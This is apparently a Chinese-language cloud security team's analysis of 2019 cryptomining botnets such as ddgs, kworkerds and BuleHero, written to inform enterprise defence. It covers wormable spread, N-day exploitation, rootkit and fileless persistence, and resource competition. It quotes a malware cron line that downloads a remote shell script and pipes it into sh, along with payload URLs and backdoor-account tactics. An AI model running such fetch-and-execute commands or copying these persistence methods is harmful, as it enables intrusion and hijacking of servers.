信息來源:FreeBuf.com
前言
比特幣等虛擬貨幣在2019年迎來了久違的大幅上漲,從最低3000美元上漲至7月份的14000美元,漲幅達300%,巨大的金錢誘惑使得更多的黑產(chǎn)團伙加入了惡意挖礦的行列。阿里云安全團隊通過對云上僵尸網(wǎng)絡(luò)家族的監(jiān)控,發(fā)現(xiàn)惡意挖礦已成為黑產(chǎn)團伙主要的牟利方式。2019年共監(jiān)控到58個成規(guī)模的挖礦木馬團伙(數(shù)據(jù)截止到8月底),以累積感染量定義木馬活躍度,下圖/表是活躍TOP10的木馬家族及簡介。本文嘗試從宏觀角度分析、總結(jié)挖礦木馬常用技術(shù)及發(fā)展趨勢,以期能夠給企業(yè)安全防護帶來啟示。
核心觀點
1.木馬投放方式全面蠕蟲化,多種漏洞組合攻擊成為趨勢,N-day漏洞利用速度在加快
這種趨勢無疑令人異常擔(dān)憂,意味著挖礦木馬的傳播能力在大幅增強,變得無孔不入。一旦企業(yè)的信息系統(tǒng)存在任意可被利用的漏洞,那么企業(yè)內(nèi)網(wǎng)將會快速淪陷,挖礦行為會搶占CPU資源,嚴重影響企業(yè)信息系統(tǒng)運行。這對企業(yè)的漏洞管理和安全防御能力有了更高、更快的要求。
2.木馬持久化技術(shù)被成熟利用,rootkit、無文件技術(shù)成為趨勢
挖礦木馬入侵成功后必定希望能夠長久穩(wěn)定的挖掘出虛擬貨幣,其技術(shù)上使用rootkit、無文件等技術(shù)實現(xiàn)長期、隱蔽運行。對于一般的運維人員,系統(tǒng)一旦中招后,頑固木馬是難以清除的,這需要企業(yè)具備更專業(yè)的安全應(yīng)急響應(yīng)能力。
3.木馬開始出現(xiàn)跨平臺趨勢
Golang語言天生具備跨平臺編譯能力,這個特點方便黑產(chǎn)團伙在多平臺間移植,新出現(xiàn)的惡意軟件使用GO也成為了一種趨勢。TOP10中有6個是2019年爆發(fā)的挖礦木馬,其中有5個是GO語言實現(xiàn)的,MinerGuard和kworkerds已具備了Linux/Windows雙平臺傳播的能力。
工欲善,利其器-攻擊之術(shù)
全網(wǎng)漏洞掃描/投放->蠕蟲化投放
1、利用單一或多個IP攻擊全網(wǎng)漏洞進行投放
這種投放方式較為原始,無橫向傳播能力,效率比較低下,且容易被防御攔截。在我們的監(jiān)控中,使用這種方式的木馬規(guī)模普遍較小。例如:8220Miner固定使用多個國外IP進行持續(xù)攻擊,會定期更換IP,但更換頻率較低。而ddsMiner通過sqlserver入侵,攻擊載荷會下載名為dds.exe的PE文件(如:http://113[.]69[.]206[.]219:4523/dds.exe),該團伙每天至少使用1個新的IP進行全網(wǎng)攻擊,攻擊時間持續(xù)數(shù)小時,該IP也是當(dāng)天的惡意文件托管站。
2、蠕蟲化投放
蠕蟲化的挖礦botnet具備攻擊模塊,掃描并感染網(wǎng)絡(luò)上的其他服務(wù)器,使用這種方式進行傳播會按照指數(shù)增長的速度擴張,且這種方式會使得溯源和防御變得更加困難。TOP10中2019年爆發(fā)的幾個挖礦botnet全部使用蠕蟲化投放方式,他們都是在短時間內(nèi)(幾天時間)得到快速擴張躋身TOP10。
單一漏洞利用->組合漏洞橫向傳播
早期的挖礦木馬使用固定漏洞在公網(wǎng)傳播,傳播速度和規(guī)模受限。而使用多種漏洞組合攻擊的方式使得挖礦木馬具備了內(nèi)網(wǎng)橫向傳播的能力,攻擊模塊會集成通用的WEB服務(wù)漏洞、爆破、數(shù)據(jù)庫漏洞等攻擊方式?!斆鳌耐诘V木馬作者更是使用不同的內(nèi)外網(wǎng)攻擊策略,進行更高效的傳播。例如:Windows平臺下的Bulehero挖礦木馬,在內(nèi)網(wǎng)優(yōu)先使用永恒之藍漏洞、ipc$爆破、RDP爆破進行傳播,在公網(wǎng)則優(yōu)先使用Web服務(wù)漏洞進行傳播。Linux平臺下的kerberods挖礦木馬,在內(nèi)網(wǎng)優(yōu)先使用本地ssh key、ssh爆破進行傳播。在這種高效策略下,企業(yè)內(nèi)網(wǎng)通常在幾分鐘內(nèi)被全部入侵。
N-day漏洞快速利用
互聯(lián)網(wǎng)大規(guī)模存在且未被修復(fù)的通用漏洞往往成為挖礦僵尸網(wǎng)絡(luò)爭奪的’肥肉’,N-day漏洞爆發(fā)后難以在短時間內(nèi)得到有效修復(fù),’嗅覺’靈敏的黑產(chǎn)團伙會很快納入挖礦木馬的武器庫。據(jù)我們觀察,N-day漏洞留給運維人員進行修復(fù)的空窗期越來越短,如Jboss反序列化漏洞于2017年5月被發(fā)現(xiàn),年底JbossMiner開始對其大規(guī)模利用。2018年12月ThinkPhp遠程代碼執(zhí)行漏洞爆發(fā),十幾天后被BuleHero團伙利用進行。2019年4月8日Confluence RCE 漏洞利用POC發(fā)布,4月10日就kererods蠕蟲就開始利用該漏洞大肆傳播,中間只隔了短短兩天。再次對云平臺及用戶的快速響應(yīng)能力構(gòu)成嚴峻考驗。
通往財富之路-牟利之術(shù)
礦池配置方式:
挖礦木馬植入開源挖礦程序進行挖礦,礦機程序啟動時通過命令行傳入挖礦參數(shù),但是這種方式較為原始,釋放出的木馬無法修改配置參數(shù)。第二種方式使用配置文件下發(fā),結(jié)合定時任務(wù)實現(xiàn)對挖礦參數(shù)的控制,這種使用方式較為常見。以上兩種方式都存在易被檢測的特點,有些黑產(chǎn)團伙會對開源挖礦程序進行二次開發(fā),將礦機配置參數(shù)硬編碼在惡意程序中,并進行加殼對抗檢測,以達到隱蔽挖礦的目的。
挖礦程序命令行配置
通過配置文件:
MinerGuard礦機配置文件截圖:
挖礦軟件硬編碼配置 :
ddgs硬編碼的礦池及錢包地址
挖礦方式:公共礦池->礦池代理
1、公共礦池方式
使用匿名的公共礦池是惡意挖礦最常見的方式,使用方法簡單,但是由于需要配置獨立的錢包地址,因此易被跟蹤溯源,而且對bot挖礦無管理能力。
如下圖是在公共礦池上查詢8220Miner的錢包地址及算力,目前該地址挖掘到15.5個門羅幣,可借此估算出該挖礦僵尸網(wǎng)絡(luò)的規(guī)模。
2、礦池代理
有些挖礦僵尸網(wǎng)絡(luò)會自己搭建礦池代理,通過代理可降低挖礦難度,也可根據(jù)收益隨時切換高收益礦池、高收益礦幣種,這種方式無法通過錢包地址進行跟蹤。
下圖是監(jiān)控到masscanMiner使用了礦池代理進行挖礦,通過進程cmdline可知礦池開放在121.42.151.137的28850端口,這并非一公共礦池常用的端口,登陸賬號也為默認賬號。
其他變現(xiàn)方式:附帶DDos、Socks代理
除了挖礦這種本職工作,有些黑產(chǎn)團伙會順帶通過其他方式進行變現(xiàn),比如DDos、代理等。如下圖是sicMiner惡意樣本會運行一個python腳本,該腳本是github上開源的socks5代理,代理運行在7081端口,該團伙可能是通過出售代理進行變現(xiàn)。
生存還是毀滅-持久化之術(shù)
挖礦木馬入侵成功后需要長期駐留于目標操作系統(tǒng),以達到長期穩(wěn)定地產(chǎn)出虛擬貨幣,通常會使用各種技術(shù)對抗安全檢測和運維人員的清除。
清除/卸載安全軟件
卸載宿主機的安全防護軟件是常規(guī)操作,由于挖礦的攻擊行為多針對服務(wù)器,黑產(chǎn)團伙也特別針對云環(huán)境的安全軟件精準對抗。如下是kworderds蠕蟲在windows、Linux下卸載不同安全軟件的行為。
kworkerds關(guān)閉殺毒軟件
kworkerds挖礦蠕蟲卸載安騎士等安全工具
rootkit技術(shù)
1、通過定時任務(wù)/計劃任務(wù)實現(xiàn)常駐
Linux下的crontab定時任務(wù)是很多惡意軟件常見的駐留方式,他們并不僅僅會把自己寫入用戶的crontab,還會寫入軟件包的crontab,如/etc/cron.d,這樣使得自己更不容易被發(fā)現(xiàn)。而Windows下則通過計劃任務(wù)、修改注冊表實現(xiàn)類似的駐留方式。如下是ddgs蠕蟲惡意進程行為通過crondtab啟動。
ddgs通過CROND定時任務(wù)啟動惡意shell:/bin/sh -c curl -fsSLhttp://218[.]248[.]40[.]228:9999/i.sh?6| sh
2、動態(tài)鏈接庫預(yù)加載型rootkit
Linux下的動態(tài)鏈接庫預(yù)加載機制在加載其他常規(guī)系統(tǒng)庫之前就會預(yù)先加載用戶定義的動態(tài)鏈接庫,如果自定義庫的函數(shù)與系統(tǒng)庫中找到的函數(shù)具有相同的名稱,自定義動態(tài)鏈接庫就會覆蓋系統(tǒng)庫中的函數(shù)。攻擊者通過動態(tài)連接庫預(yù)加載,實現(xiàn)對libc中諸如readdir等常用函數(shù)的hook,當(dāng)ps、top等shell指令嘗試讀取/proc/目錄獲取進程信息時對惡意進行隱藏。
圖是8220miner使用該技術(shù)劫持linux動態(tài)鏈接庫配置文件/etc/ld.so.preload。
無文件攻擊技術(shù)
無文件攻擊不需要將惡意軟件落地到磁盤,因此難以被殺軟查殺,具備更好的隱蔽性。在挖礦僵尸網(wǎng)絡(luò)中通常使用各種工具(比如Windows的WMI命令行工具wmic.exe)或者腳本編程語言(如PowerShell)提供的API接口訪問WMI,來實現(xiàn)無文件攻擊。如下是TheHidden使用wmic、WannaMine使用powershell進行無文件攻擊。
TheHidden使用wmic無文件攻擊的代碼片段
WannaMine的惡意進程使用powershell隱藏、編碼功能進行無文件攻擊
文件名/路徑混淆
除了對抗各種安全工具,還要對抗運維人員的手動排查,將文件名和路徑進行混淆也是常用的手段。比如ibus會將惡意文件寫入多個系統(tǒng)目錄下,并且通過隨機變更大小寫等方式生成和隱藏目錄下文件名類似的混淆文件名。
ibus生成在系統(tǒng)目錄下的混淆目錄
ibus生成混淆文件名
c&c通信
由于惡意挖礦行為不需要對bot進行強控制,大部分的挖礦木馬都不具備完備的c&c控制模塊,他們通常使用配置文件結(jié)合定時任務(wù),實現(xiàn)對bot的配置變更和版本更新。在TOP10中只有ddgs和ibus有完備的c&c控制功能。如ddgs,它的c&c通信使用uMsg序列化,能夠?qū)崿F(xiàn)攻擊指令下發(fā)、版本配置更新等功能,在今年1月份的更新中甚至開始使用P2P進行c&c控制IP的下發(fā)。
ddgs反序列化后的c&c控制指令
ibus的c&c控制模塊的惡意代碼
暗網(wǎng)
從2018年底開始挖礦木馬開始頻繁使用暗網(wǎng)進行惡意文件托管,由于其匿名通信的特點開始在惡意軟件中逐漸流行。如下是watchbog蠕蟲使用暗網(wǎng)地址下載惡意文件。
watchbog蠕蟲使用暗網(wǎng)地址下載惡意文件。
文件類型偽裝
為了防止被追蹤溯源,黑客喜歡將惡意文件托管在公開的免費網(wǎng)站上,他們需要將惡意shell、二進制文件偽裝成圖片以防止被檢測。
將二進制/shell文件偽裝成圖片文件是常規(guī)操作
后門賬號
除了常規(guī)駐留操作,我們監(jiān)控到多個挖礦木馬會在宿主機上留下后門賬號,即使木馬被清除掉,黑客也能通過后門賬號再次入侵。
TheHidden添加后門賬號,賬號名admin,并對該賬號進行了隱藏。
watchdog添加后門ssh key
人在江湖飄怎能不挨刀-資源競爭之術(shù)
除了和安全軟件的對抗,挖礦僵尸網(wǎng)絡(luò)還要面臨同行的競爭,畢竟CPU資源是有限的,一機不容二’馬’!
殺死競爭進程
這幾乎是挖礦木馬的常規(guī)操作,通過進程的指紋庫判斷其他挖礦進程,或者直接殺死CPU占用率高的進程。
kerberods進行資源競爭的進程指紋庫
修改防火墻
修改防火墻的iptables,將存在漏洞的服務(wù)端口關(guān)閉防止其他挖礦木馬入侵?;蛘哧P(guān)閉常見的礦池端口,阻斷競爭對手的挖礦行為。
修改iptables配置進行資源競爭
修改hosts
通過修改/etc/hosts將競爭對手的域名、常見礦池域名sinkhole,也是一種資源競爭手段。我們也見到了對應(yīng)的反制措施:判斷/etc/hosts是否被修改過,并重寫/etc/hosts進行覆蓋。
將競爭對手的域名sinkhole
kthrotldsPretender的反制措施:重寫hosts
借助其他botnet
除了以上常規(guī)的競爭手段外,借助其他僵尸網(wǎng)絡(luò)進行傳播也是一種高明的手段。systemdMiner在今年4月份就曾’借雞下蛋’,通過入侵ddgs的c&c中控主機進行快速擴張。
systemdMiner利用ddgs的中控下發(fā)的shell